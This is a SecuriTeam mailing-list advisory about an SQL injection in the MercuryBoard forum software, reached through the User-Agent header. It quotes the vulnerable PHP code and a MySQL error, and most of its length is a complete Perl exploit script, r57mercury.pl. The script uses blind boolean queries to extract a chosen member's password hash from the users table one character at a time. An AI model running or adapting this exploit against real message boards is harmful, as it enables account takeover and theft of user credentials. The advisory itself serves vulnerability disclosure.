The following security advisory is sent to the securiteam mailing list, and can be found at the
SecuriTeam web site: http://www.securiteam.com
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
SUMMARY
" <http://www.mercuryboard.com/> MercuryBoard is a powerful message board
system dedicated to raw speed with a mixture of features, ease of use, and
ease of customization coupled with expandability, and diverse language
services."
SQL injection vulnerability discovered in MercuryBoard allows malicious
attacker to endanger data base integrity by injecting arbitrary SQL
statements through the User-Agent field.
DETAILS
Vulnerable Systems:
Vulnerable code:
global.php:
71 : $this->agent = isset($_SERVER['HTTP_USER_AGENT']) ?
$_SERVER['HTTP_USER_AGENT'] : null;
index.php:
154 : $mercury->db->query("REPLACE INTO {$mercury->pre}active (active_id,
active_action, active_item, active_time,
active_ip, active_user_agent, active_session) VALUES
({$mercury->user['user_id']}, '{$mercury->get['a']}', $item,
$mercury->time, '$mercury->ip', '$mercury->agent',
'{$mercury->session['id']}')");
Error message:
…
You have an error in your SQL syntax. Check the manual that corresponds to
your MySQL server version for the right
syntax to use near 'aa3211413f374429d3830cd062b25b86')' at line 1
Query Error [1064]:
This type of error is reported by MySQL.
Query: REPLACE INTO mb_active (active_id, active_action, active_item,
active_time, active_ip, active_user_agent, active_session) VALUES (1,
'board', 0, 1116314234, '127.0.0.1', '666'',
'aa3211413f374429d3830cd062b25b86')
…
Exploit:
#!/usr/bin/perl
use IO::Socket;
use Getopt::Std;
getopts('h:f:b:i:l:p:');
$server = $opt_h;
$path = $opt_f;
$member_id = $opt_b;
$hacker_id = $opt_i;
$hacker_l = $opt_l;
$prefix = $opt_p || 'mb_' ;
if(!$server||!$path||!$member_id||!$hacker_id||!$hacker_l) { &usage; }
$server =~ s!(http:\/\/)!!;
$request = 'http://';
$request .= $server;
$request .= $path;
$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~] SERVER : $server\r\n";
print " [~] FORUM PATH : $path\r\n";
print " [~] ID FOR BRUTE : $member_id\r\n";
print " [~] HACKER ID : $hacker_id\r\n";
print " [~] HACKER LOGIN : $hacker_l\r\n";
print " [~] TABLE PREFIX : $prefix\r\n\r\n";
print " [~] SEARCHING PASSWORD … [|]";
while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]
};
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}
sub found($$)
{
my $fmin = $[0];
my $fmax = $[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = "//BETWEEN//$r//AND//$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $[0];
my $cmax = $[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$user_agent2 = "666',''),($hacker_id, 'board', 0, (SELECT//if((ascii(
substring((SELECT//user_password//FROM//${prefix}users
//WHERE//user_id=$member_id),$s_num,1)))$ccheck, 1119336207,0)),
'666.666.666.666', '666', '666')/*";
$sock2 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",
PeerPort => "80");
printf $sock2 ("GET %s?a=active HTTP/1.0\nHost: %s\nUser-Agent:
%s\nAccept: /\nConnection: close\n\n",
$request,$server,$user_agent2);
while(<$sock2>)
{
#print $_;
if (/w=$hacker_id"\>$hacker_l/) { return 1; }
}
return 0;
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}
sub usage()
{
&head;
print q(
USAGE
r57mercury.pl [OPTIONS]
);
}
ADDITIONAL INFORMATION
The information has been provided by 1dt.w0lf.
The original article can be found at:
<http://rst.void.ru/download/r57mercury.txt>
http://rst.void.ru/download/r57mercury.txt
The original article can be found at:
<http://rst.void.ru/papers/advisory28.txt>
http://rst.void.ru/papers/advisory28.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
[email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages.